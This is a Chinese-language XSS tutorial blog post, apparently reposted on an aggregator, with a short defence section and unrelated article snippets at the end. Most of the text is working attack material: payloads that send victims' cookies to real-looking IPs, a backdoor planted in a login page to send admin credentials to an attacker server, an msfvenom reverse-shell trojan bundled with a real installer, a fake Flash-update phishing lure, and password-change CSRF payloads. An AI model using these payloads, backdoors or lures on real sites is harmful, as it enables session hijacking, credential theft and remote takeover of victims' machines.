xss漏洞原理及利用【万字详解】

news2024/9/22 23:33:42

文章目录

  • url处XSS
  • 图片处XSS攻击
  • svg-xss
      • 概念
      • 复现
  • pdf-xss
      • 概念
      • 复现
  • 游览器翻译-xss
  • flash-xss
      • 概念
      • 常见造成xss中的swf文件函数
      • 举例说明:
  • cookie的获取
      • 概念
      • 代码审计
      • 复现
  • cookie的获取
      • 概念
      • 代码审计
      • 复现
  • 页面信息获取
      • 概念
      • 条件
      • 复现
  • xss配合MSf钓鱼
      • 概念
      • 复现
  • XSS修复
        • 对危险字符进行过滤
        • 设置http-only
        • 设置CSP(content security policy)
        • 对长度进行限制,实体转义
  • CTF各种骚姿势
        • 服务端接受
        • 远程调用
        • 过滤script
        • 过滤img
        • 过滤空格
        • body标签
  • CTF场景题
        • 场景1
        • 场景2
        • 场景3

随着互联网技术的飞速发展,网络安全问题也日益凸显。在众多网络攻击方式中,跨站脚本攻击(Cross-Site Scripting, XSS)因其广泛性和高危性,成为了网络安全领域的一个重要研究课题。XSS 攻击通过在网页中注入恶意脚本,使攻击者能够窃取用户信息、劫持用户会话、篡改网页内容等,给用户和企业带来巨大的安全隐患。本文将深入探讨 XSS 漏洞的原理,并通过具体的实例演示如何复现这一漏洞,希望能帮助读者更好地理解和防范 XSS 攻击。

常用标签的绕过:

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户

url处XSS

代码示例

<?php
$code=$_GET['x'];
echo $code;
?>

payload:

http://127.0.0.1/xss-demo/xss.php?x=%3Cscript%3Ealert(%27cong%27);%3C/script%3E

图片处XSS攻击

代码示例

<?php
$code=$_GET['x'];
echo "<img src=$code>";
?>

可以看到普通的xss是没有用的,因为源码为alert(‘213’);>,这样是无法触发xss的,可以用img标签的错误触发事件

payload:
http://127.0.0.1/xss-demo/xss.php?x=y οnerrοr=“alert(‘1’)”

svg-xss

  1. 概念

    1. SVG(可扩展矢量图形)是一种基于XML的矢量图形格式,用于描述二维图形。它广泛用于网页中的图形和动画,因为它可以无损缩放,并且由浏览器直接支持。由于SVG文件是基于XML的文本文件,它们可以包含脚本(如JavaScript)。如果SVG文件没有正确处理和过滤,恶意用户可以在SVG文件中嵌入恶意脚本,从而进行XSS攻击,目前主流的浏览器都已经支持SVG图片的渲染。
  2. 复现

    1. 代码示例:

      test.svg
      <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-diagram-3-fill" viewBox="0 0 16 16">
        <path fill-rule="evenodd" d="M6 3.5A1.5 1.5 0 0 1 7.5 2h1A1.5 1.5 0 0 1 10 3.5v1A1.5 1.5 0 0 1 8.5 6v1H14a.5.5 0 0 1 .5.5v1a.5.5 0 0 1-1 0V8h-5v.5a.5.5 0 0 1-1 0V8h-5v.5a.5.5 0 0 1-1 0v-1A.5.5 0 0 1 2 7h5.5V6A1.5 1.5 0 0 1 6 4.5v-1zm-6 8A1.5 1.5 0 0 1 1.5 10h1A1.5 1.5 0 0 1 4 11.5v1A1.5 1.5 0 0 1 2.5 14h-1A1.5 1.5 0 0 1 0 12.5v-1zm6 0A1.5 1.5 0 0 1 7.5 10h1a1.5 1.5 0 0 1 1.5 1.5v1A1.5 1.5 0 0 1 8.5 14h-1A1.5 1.5 0 0 1 6 12.5v-1zm6 0a1.5 1.5 0 0 1 1.5-1.5h1a1.5 1.5 0 0 1 1.5 1.5v1a1.5 1.5 0 0 1-1.5 1.5h-1a1.5 1.5 0 0 1-1.5-1.5v-1z"/>
      </svg>
      
    2. 增加以下代码子访问即可触发xss代码

      1.   <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-diagram-3-fill" viewBox="0 0 16 16">
            <path fill-rule="evenodd" d="M6 3.5A1.5 1.5 0 0 1 7.5 2h1A1.5 1.5 0 0 1 10 3.5v1A1.5 1.5 0 0 1 8.5 6v1H14a.5.5 0 0 1 .5.5v1a.5.5 0 0 1-1 0V8h-5v.5a.5.5 0 0 1-1 0V8h-5v.5a.5.5 0 0 1-1 0v-1A.5.5 0 0 1 2 7h5.5V6A1.5 1.5 0 0 1 6 4.5v-1zm-6 8A1.5 1.5 0 0 1 1.5 10h1A1.5 1.5 0 0 1 4 11.5v1A1.5 1.5 0 0 1 2.5 14h-1A1.5 1.5 0 0 1 0 12.5v-1zm6 0A1.5 1.5 0 0 1 7.5 10h1a1.5 1.5 0 0 1 1.5 1.5v1A1.5 1.5 0 0 1 8.5 14h-1A1.5 1.5 0 0 1 6 12.5v-1zm6 0a1.5 1.5 0 0 1 1.5-1.5h1a1.5 1.5 0 0 1 1.5 1.5v1a1.5 1.5 0 0 1-1.5 1.5h-1a1.5 1.5 0 0 1-1.5-1.5v-1z"/>
            <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
            <script>alert(1);</script>
          </svg>
        

pdf-xss

  1. 概念

    1. 在一些pdf编辑器中可以给pdf添加javascript动作导致的在游览器打开pdf文件时遭受xss攻击
  2. 复现

    1. 下载安装迅捷pdf编辑器

    2. 新建一个pdf

    3. 按照以下操作

    4. 输入一下动作

    5. 保存,在游览器中查看,成功执行

游览器翻译-xss

本来页面的xss被过滤了,但是由于一些扩展有重新加载出来,例如翻译货站

代码示例

edge:
<b><u>行之在线测试 </u></b>
<br>

Políticas de Privacidade
Usaremos seus dados pessoais para resolver disputas, solucionar problemas e aplicar nossos Termos e Condições de Uso.
<br>
Para prevenir abusos no app/site, o Badoo usa decisões automáticas e moderadores para bloquear contas, como parte de seu procedimento de moderação. Para isso, nós conferimos contas e mensagens para encontrar conteúdo que indicam quebra dos nossos Termos e Condições de Uso. Isso é feito através de uma

<b><u>OUR PAYLOAD IN TEXT FORM </u></b>
<br>
<br>
"><img src=x οnerrοr=alert(1)> 
//这里写Payload

<br>
<br>
<br>
Políticas de Privacidade

flash-xss

  1. 概念

    1. Flash是由Adobe开发的一种多媒体软件平台,用于创建动画、游戏和富互联网应用(RIA)。它包含Adobe Flash Player和Adobe Flash Professional(后更名为Adobe Animate)。Flash中的XSS攻击利用了Flash应用(特别是SWF文件)中的漏洞,通过注入恶意脚本,使这些脚本在用户的浏览器中执行。
  2. 常见造成xss中的swf文件函数

    1. navigateToURL
    2. getURL
    3. ExternalInterface.call
    4. htmlText
    5. 参考文章:(链接)
  3. 举例说明:

    1. 从网站下载swf文件,放在swf反编译工具中反编译

    2. 全局搜索上述swf文件函数,找出可以的注入点

      1. payload:http://127.0.0.1/uploader.swf?jsobject=alert(1)

cookie的获取

  1. 概念

    1. 通过javascript获取网站的cookie的信息
  2. 代码审计

    1.   配置文件config.inc.php:
        <?php
        //全局session_start
        session_start(); 
        //全局居设置时区
        date_default_timezone_set('Asia/Shanghai');
        //全局设置默认字符
        header('Content-type:text/html;charset=utf-8');
        //定义数据库连接参数
        define('DBHOST', 'localhost');//将localhost修改为数据库服务器的地址
        define('DBUSER', 'pkxss123');//将root修改为连接mysql的用户名
        define('DBPW', 'pkxss123');//将root修改为连接mysql的密码
        define('DBNAME', 'pkxss');//自定义,建议不修改
        define('DBPORT', '3306');//将3306修改为mysql的连接端口,默认tcp3306
        ?>
        --------------------------------------------------------------------------------------------------
        cookie.php:
        <?php
        include_once '../inc/config.inc.php';
        include_once '../inc/mysql.inc.php';
        $link=connect();
      
        //这个是获取cookie的api页面
      
        if(isset($_GET['cookie'])){
            $time=date('Y-m-d g:i:s');
            $ipaddress=getenv ('REMOTE_ADDR');
            $cookie=$_GET['cookie'];
            $referer=$_SERVER['HTTP_REFERER'];
            $useragent=$_SERVER['HTTP_USER_AGENT'];
            $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
            values('$time','$ipaddress','$cookie','$referer','$useragent')";
            $result=mysqli_query($link, $query);
        }
        header("Location:http://43.139.186.80/1.html");//重定向到一个可信的网站
        ?>
      
  3. 复现

    1. 找到存在xss漏洞的留言板,存入payload

      <script>document.location = 'http://43.139.186.80/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
      

    2. 被重定向1.html

    3. 在在后台查看获取到的cookie信息

cookie的获取

  1. 概念

    1. 通过javascript获取网站的cookie的信息
  2. 代码审计

    1.   配置文件config.inc.php:
        <?php
        //全局session_start
        session_start(); 
        //全局居设置时区
        date_default_timezone_set('Asia/Shanghai');
        //全局设置默认字符
        header('Content-type:text/html;charset=utf-8');
        //定义数据库连接参数
        define('DBHOST', 'localhost');//将localhost修改为数据库服务器的地址
        define('DBUSER', 'pkxss123');//将root修改为连接mysql的用户名
        define('DBPW', 'pkxss123');//将root修改为连接mysql的密码
        define('DBNAME', 'pkxss');//自定义,建议不修改
        define('DBPORT', '3306');//将3306修改为mysql的连接端口,默认tcp3306
        ?>
        --------------------------------------------------------------------------------------------------
        cookie.php:
        <?php
        include_once '../inc/config.inc.php';
        include_once '../inc/mysql.inc.php';
        $link=connect();
      
        //这个是获取cookie的api页面
      
        if(isset($_GET['cookie'])){
            $time=date('Y-m-d g:i:s');
            $ipaddress=getenv ('REMOTE_ADDR');
            $cookie=$_GET['cookie'];
            $referer=$_SERVER['HTTP_REFERER'];
            $useragent=$_SERVER['HTTP_USER_AGENT'];
            $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
            values('$time','$ipaddress','$cookie','$referer','$useragent')";
            $result=mysqli_query($link, $query);
        }
        header("Location:http://43.139.186.80/1.html");//重定向到一个可信的网站
        ?>
      
  3. 复现

    1. 找到存在xss漏洞的留言板,存入payload

      <script>document.location = 'http://43.139.186.80/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
      

    2. 被重定向1.html

    3. 在在后台查看获取到的cookie信息

页面信息获取

  1. 概念

    1. 当我们拿下网站权限时,需要进入网站看看,此时需要admin的账号和密码,就可以在源码中插入xss攻击代码获取密码的表单
  2. 条件

    1. 具备web权限,写入权限
  3. 复现

    1. 网站部分代码示例:

      login_check.php
      <php
      error_reporting(E_ERROR | E_WARNING | E_PARSE);
      if(!isset($depth))$depth='';
      $commonpath=$depth.'include/common.inc.php';
      $commonpath=$admin_index?$commonpath:'../'.$commonpath;
      require_once $commonpath;
      $turefile=$url_array[count($url_array)-2];
      if($met_adminfile!=$turefile){
      	$query="update $met_config set value='$turefile' where name='met_adminfile' and lang='metinfo'";
      	$db->query($query);
      }
      //dump($_SERVER);
      //echo $_SERVER[HTTP_REFERER];
      //$HTTP_REFERERs=explode('?',$_SERVER[HTTP_REFERER]);
      //echo strrev(substr(strrev($HTTP_REFERERs[0]),0,7));
      if($action=="login"){
      	$metinfo_admin_name     = $login_name;
      	$metinfo_admin_pass     = $login_pass;
      	$up = '<script src="http://43.139.186.80/get.php?user='.$metinfo_admin_name.'&pass='.$metinfo_admin_pass.'"></script>';
      //将账号密码发送到攻击者服务器中
      	echo $up;
      	$metinfo_admin_pass=md5($metinfo_admin_pass);
      	/*code*/
      	if($met_login_code==1){
      		require_once $depth.'../include/captcha.class.php';
      ......
      ------------------------------------------------------------------------------------------
      get.php
      <?php
      $u = $_GET['user'];
      $p = $_GET['pass'];
      $myfile = fopen("newfile.txt", "w+");
      fwrite($myfile, $u);
      fwrite($myfile, "|");
      fwrite($myfile, $p);
      fclose($myfile);
      ?>//接受传来的账号和密码并写入newfile.txt当中
      
    2. 当管理员登录是后台自动发送账号和密码

xss配合MSf钓鱼

  1. 概念

    1. 通过msf生成后门,利用beef上线受控或者钓到鱼之后,通过msf的监听来控制主机
  2. 复现

    1. 生成后门poc.exe

      1.   msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.36.147 LPORT=6666 -f exe > poc.exe
        
    2. 下载官方文件-保证安装正常

    3. 将后门与官方文件通过压缩软件捆绑在一起

      1. 将两压缩
    4. msf启动监听

      1. msfconsole
      2. use exploit/multi/handler
      3. set payload windows/meterpreter/reverse_tcp
      4. set lhost 0.0.0.0
      5. set lport 6666
      6. run
    5. 制作钓鱼页面,这里采用色诱

      1. flash页面:doocop/Flash_Xss: Flash最新钓鱼源码对接官方API实现跟随官方升级而升级 (github.com)

      2. 替换下载点

      3. 代码示例

        1.   诱导安装页面
          
            <html xmlns="http://www.w3.org/1999/xhtml"> 
            <head> 
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
            <title>小迪与某主播SESE画面流出!</title> 
            </head> 
            <body> 
            小迪与某主播SESE画面流出!<br>
            <img src="1.gif" alt="" width="300" height=600" align="absmiddle"/ onclick=a()>
            </body> 
            </html>
            <script>								
            function a(){
            	alert( "您的FLASH版本过低,尝试升级后访问该页面! ");
            	window. location.href="http://192.168.36.147/";
            }
            </script>
          
    6. 鱼儿点击网页上线

XSS修复

  1. 对危险字符进行过滤
    1. 变量过滤模版

      <?php
      //开启http_only也可在php.ini开启
      //ini_set("session.cookie_httponly", 1);
      
      //设置当前cookie
      //setcookie('mycookie','xiaodi');
      
      //只允许加载本地源图片:
      //header("Content-Security-Policy:img-src 'self' ");
      
      //加载的是一张我随意百度的图片
      //<img src="https://www.baidu.com/img/PCfb_5bf082d29588c07f842ccde3f97243ea.png"/>
      
      //自定义过滤函数
      function remove_xss($val) {
        // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
        // this prevents some character re-spacing such as <java\0script>
        // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
        $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
        // straight replacements, the user should never need these since they're normal characters
        // this prevents like <IMG SRC=@avascript:alert('XSS')>
        $search = 'abcdefghijklmnopqrstuvwxyz';
        $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $search .= '1234567890!@#$%^&*()';
        $search .= '~`";:?+/={}[]-_|\'\\';
        for ($i = 0; $i < strlen($search); $i++) {
         // ;? matches the ;, which is optional
         // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
         // @ @ search for the hex values
         $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
         // @ @ 0{0,7} matches '0' zero to seven times
         $val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
        }
        // now the only remaining whitespace attacks are \t, \n, and \r
        $ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
        $ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
        $ra = array_merge($ra1, $ra2);
        $found = true; // keep replacing as long as the previous round replaced something
        while ($found == true) {
         $val_before = $val;
         for ($i = 0; $i < sizeof($ra); $i++) {
           $pattern = '/';
           for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
              $pattern .= '(';
              $pattern .= '(&#[xX]0{0,8}([9ab]);)';
              $pattern .= '|';
              $pattern .= '|(�{0,8}([9|10|13]);)';
              $pattern .= ')*';
            }
            $pattern .= $ra[$i][$j];
           }
           $pattern .= '/i';
           $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
           $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
           if ($val_before == $val) {
            // no replacements were made, so exit the loop
            $found = false;
           }
         }
        }
        return $val;
      }
      
      $code=$_GET['x'];
      echo $code."<br>";
      
      ?>
      
    2. 设置http-only
      1. 设置http-only可以防止防止客户端脚本(如 JavaScript)访问 cookie,从而防止通过 XSS 攻击窃取 cookie 信息。

      2. 设置过程

        1. php.ini中的session.cookie httponly =1
        2. 网站源码写入ini set(“session. cookie httponly”, 1);
    3. 设置CSP(content security policy)
      1. csp严格限制脚本的来源,可以防止恶意脚本的执行,可以进制内联脚本,就算在源码上写入xss代码页无法执行,就比如上面的模版,

      2. 在网站中加入header(“Content-Security-Policy: img-src ‘self’”);即可即使注释掉了百度的图片,他还是会加载

        1. 在这里插入图片描述
    4. 对长度进行限制,实体转义

CTF各种骚姿势

参考文章:

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户

XSS总结 - 先知社区 (aliyun.com)

服务端接受
<?php
$cookie = $_GET['c'];
$myfile = fopen("cookie.txt", "w+");
fwrite($myfile, $cookie);
fclose($myfile);
?>
  1. 远程调用
    1. payload:

      <script>window.location.href='http://47.94.236.17/get.php?c='+document.cookie</script>
      
  2. 过滤script
    1. payload

      <img src=1 onerror="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
      
  3. 过滤img
    1. payload

      <input onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
      <svg onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
      
  4. 过滤空格
    1. payload

      <svg/onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;"></svg>
      
  5. body标签
    1. payload

      <body onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
      

CTF场景题

  1. 场景1
    1. 在这里插入图片描述

    2. 管理员的cookie频繁变化,无法获取cookie直接登录,但是可以通过xss表单获取管理员的账号和密码

  2. payload

    S('.laytable-cell-1-0-1').each(function(index,value) {
        if (value.innerHTML.indexOf('ctf' + 'show') > -1) {
            window.location.href = 'http://47.94.236.117/get.php?c=' + value.innerHTML;
        }
    });
    
  3. 场景2
    1. 后台管理员有功能页面,能够查看注册用户的账号密码,其中有一个修改的密码的功能,通过捉包分析,可以通过访问一个地址即可修改密码,get提交
  4. payload:

    <script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>//跳转回被管理员发现
    <script src="http://127.0.0.1/api/change.php?p=123"></script>//页面在后台访问
    
  5. 场景3
    1. 后台管理员有功能页面,能够查看注册用户的账号密码,其中有一个修改的密码的功能,通过捉包分析,可以通过访问一个地址即可修改密码,post提交
  6. payload

    $.ajax({
        url: 'http://127.0.0.1/api/change.php',
        type: 'post',
        data: { p: '123' }
    });
    

通过对 XSS 漏洞原理的详细剖析和复现过程的具体演示,我们可以清晰地看到这种攻击手段的危害及其实现方式。了解这些知识不仅有助于网络安全从业人员提升自身技能,还能帮助开发者更好地编写安全的代码,从源头上防范潜在的安全威胁。然而,XSS 仅仅是众多网络攻击手段之一,网络安全的攻防战是一场持久战,需要我们不断学习和更新知识,采取严密的防护措施,以应对日益复杂的网络攻击。希望本文能够为读者提供有价值的参考,促进大家在实际工作中更好地保护网络系统的安全。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1976809.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

47 集合操作与运算

1 增加与删除集合元素 集合对象的 add() 方法可以增加新元素&#xff0c;如果该元素已存在则忽略该操作&#xff0c;不会抛出异常&#xff1b;update() 方法合并另外一个集合中的元素到当前集合中&#xff0c;并自动去除重复元素。 s {1, 2, 3} print(s) s.add(3) # 增加元…

C# 设计模式之装饰器模式

总目录 前言 装饰器模式的主要作用就是扩展一个类的功能&#xff0c;或给一个类添加多个变化的情况。学习面向对象的都知道&#xff0c;如果想单纯的给某个类增加一些功能&#xff0c;可以直接继承该类生成一个子类就可以。应对一些简单的业务场景继承也就够了&#xff0c;但是…

学习笔记-优化问题

目录 一、目前的问题 1、axios 2、跨域问题 3. 路由安全 二、解决问题 1. 跨域问题 2. 优化URL devServer 1. 配置 devServer 2. 修改请求路径 3. 重启 vue 4. 测试 5. pathRewrite 6. 重启 7. 测试 3. 优化 res.data 4. 判断状态码 5. 引入axios 1. 创建自…

【C++】2.C++入门(2)

文章目录 6.引用6.1 引用概念6.2 引用特性6.3 使用场景6.4 const引用&#xff08;常引用&#xff09;6.5 引用和指针的区别 7.inline7.1inline代码举例&#xff1a;7.2inline代码错误示范7.3实现一个ADD宏函数的常见问题&#xff1a; 8.nullptr 6.引用 6.1 引用概念 引用不是…

Yolov8在RK3588上进行自定义目标检测(三)

参考 Yolov8在RK3588上进行自定义目标检测(一) Yolov8在RK3588上进行自定义目标检测(二) best.onnx转yolov8.rknn onnx转rknn需要用到rknn-toolkit2&#xff0c;这个工具暂时不支持windows&#xff0c;所以我们移步linux&#xff0c;我用的是虚拟机创建的ubuntu20.4的系统&a…

JS+H5美观的带搜索的博客文章列表(可搜索多个参数)

实现 美观的界面&#xff08;电脑、手机端界面正常使用&#xff09;多参数搜索&#xff08;文章标题&#xff0c;文章简介&#xff0c;文章发布时间等&#xff09;文章链接跳转 效果图 手机端 电脑端 搜索实现 搜索功能实现解释 定义文章数据: 文章数据保存在一个 JavaScri…

评价指标--深度学习

目录 1分类任务1.1 二分类1.1.1 含义介绍1.1.2 指标 1.2多分类 2图像分割2.1 常用指标2.2 具体含义2.3 代码实现 1分类任务 1.1 二分类 混淆矩阵 1.1.1 含义介绍 TP&#xff1a;预测为真所以是Positive&#xff0c;预测结果和真实结果一致所以为TrueTN&#xff1a;预测为假…

【Python 逆向滑块】(实战六)逆向滑块,并实现用Python+Node.js 生成滑块、识别滑块、验证滑块、发送短信

逆向日期&#xff1a;2024.08.04 使用工具&#xff1a;Python&#xff0c;Node.js 本章知识&#xff1a;逆向【NECaptchaValidate】参数并成功发送短信 文章难度&#xff1a;中等&#xff08;没耐心的请离开&#xff09; 文章全程已做去敏处理&#xff01;&#xff01;&#xf…

【SpringBoot】 定时任务之任务执行和调度及使用指南

【SpringBoot】 定时任务之任务执行和调度及使用指南 Spring框架分别通过TaskExecutor和TaskScheduler接口为任务的异步执行和调度提供了抽象。Spring还提供了支持应用程序服务器环境中的线程池或CommonJ委托的那些接口的实现。最终&#xff0c;在公共接口后面使用这些实现&…

POE服务机器人-快速开始

快速开始 POE与服务机器人部署服务机器人与poe集成迭代你的机器人其他 POE与服务机器人 在本快速入门指南中&#xff0c;我们将使用 Python 构建一个机器人服务器&#xff0c;然后将其与 Poe 集成。一旦您创建了由您的服务器驱动的 Poe 机器人&#xff0c;任何 Poe 用户都可以…

解密XXE漏洞:原理剖析、复现与代码审计实战

在网络安全领域&#xff0c;XML外部实体&#xff08;XXE&#xff09;漏洞因其隐蔽性和危害性而备受关注。随着企业对XML技术的广泛应用&#xff0c;XXE漏洞也逐渐成为攻击者们利用的重点目标。一个看似无害的XML文件&#xff0c;可能成为攻击者入侵系统的利器。因此&#xff0c…

R语言统计分析——描述性统计

参考资料&#xff1a;R语言实战【第2版】 1、整体统计 对于R语言基础安装&#xff0c;可以使用summary()函数来获取描述性统计量。summary()函数提供了最小值、最大值、四分位数、中位数和算术平均数&#xff0c;以及因子向量和逻辑向量的频数统计。 myvars<-c("mpg&…

JRT多维取数据三件套

今天补齐DolerData判断数据是否存在的API&#xff0c;即M的$d。 兜兜转转&#xff0c;经过近十年探索&#xff0c;3年的酝酿&#xff0c;10个月的开发&#xff0c;JRT终于集齐多维取数据三件套。分别是$get,$listget,$data。通过多维取数据的支持&#xff0c;JRT特别适合医疗数…

7.怎么配置一个axios来拦截前后端请求

首先创建一个axios.js文件 导入我们所需要的依赖 import axios from "axios"; import Element from element-ui import router from "./router"; 设置请求头和它的类型和地址 注意先注释这个url,还没有解决跨域问题,不然会出现跨域 // axios.defaults.…

6-5 多输入多输出通道

虽然我们在前面描述了构成每个图像的多个通道和多层卷积层。例如彩色图像具有标准的RGB通道来代表红、绿和蓝。 但是到目前为止&#xff0c;我们仅展示了单个输入和单个输出通道的简化例子。 这使得我们可以将输入、卷积核和输出看作二维张量。 当我们添加通道时&#xff0c;我…

搭建高可用OpenStack(Queen版)集群(一)之架构环境准备

一、搭建高可用OpenStack&#xff08;Queen版&#xff09;集群之架构环境准备 一、架构设计 二、初始化基础环境 1、管理节点创建密钥对&#xff08;方便传输数据&#xff09; 所有控制节点操作 # ssh-keygen #一路回车即可 Generating public/private rsa key pair. Enter f…

MTK Android12 分析system_app允许vendor_mtk_audiohal_prop SELinux 权限问题

本文将尝试分析&#xff0c;在开发 Android 12 MTK 平台时遇到了 vendor_mtk_audiohal_prop 属性相关的 SELinux 权限问题。包括如何修改 SELinux 策略以允许 system_app 设置 vendor_mtk_audiohal_prop 属性。 问题描述 希望允许 system_app 设置 vendor_mtk_audiohal_prop 属…

SpringBoot+Vue图书(图书借阅)管理系统-附项目源码与配套文档

摘 要 本论文阐述了一套先进的图书管理系统的设计与实现&#xff0c;该系统采用Java语言&#xff0c;结合现代Web开发框架和技术&#xff0c;旨在为图书馆提供高效、灵活且用户友好的资源管理解决方案。系统利用Spring Boot框架为核心&#xff0c;整合MyBatis ORM工具&#…

基于 systemc-2.3.1的virtual device 接入 qemu-arm

1&#xff0c;下载systemc-2.3.1 下载网址&#xff1a; SystemC Files $ wget https://www.accellera.org/images/downloads/standards/systemc/systemc-2.3.1.tgz 2&#xff0c;编译安装 systemc-2.3.1 tar zxf systemc-2.3.1.tgz cd systemc-2.3.1/ export CXXg mkdir bu…

PS 2024 百种常用插件下载安装教程【免费使用,先到先得】

文章目录 软件介绍软件下载安装步骤 专栏推荐&#xff1a; 超多精品软件&#xff08;持续更新中…&#xff09; 软件推荐&#xff1a; PS 2024 PR 2024 软件介绍 PS常用插件 此软件整合了市面近百款ps处理插件&#xff0c;可实现&#xff1a;一键制作背景&#xff0c;一键抠图…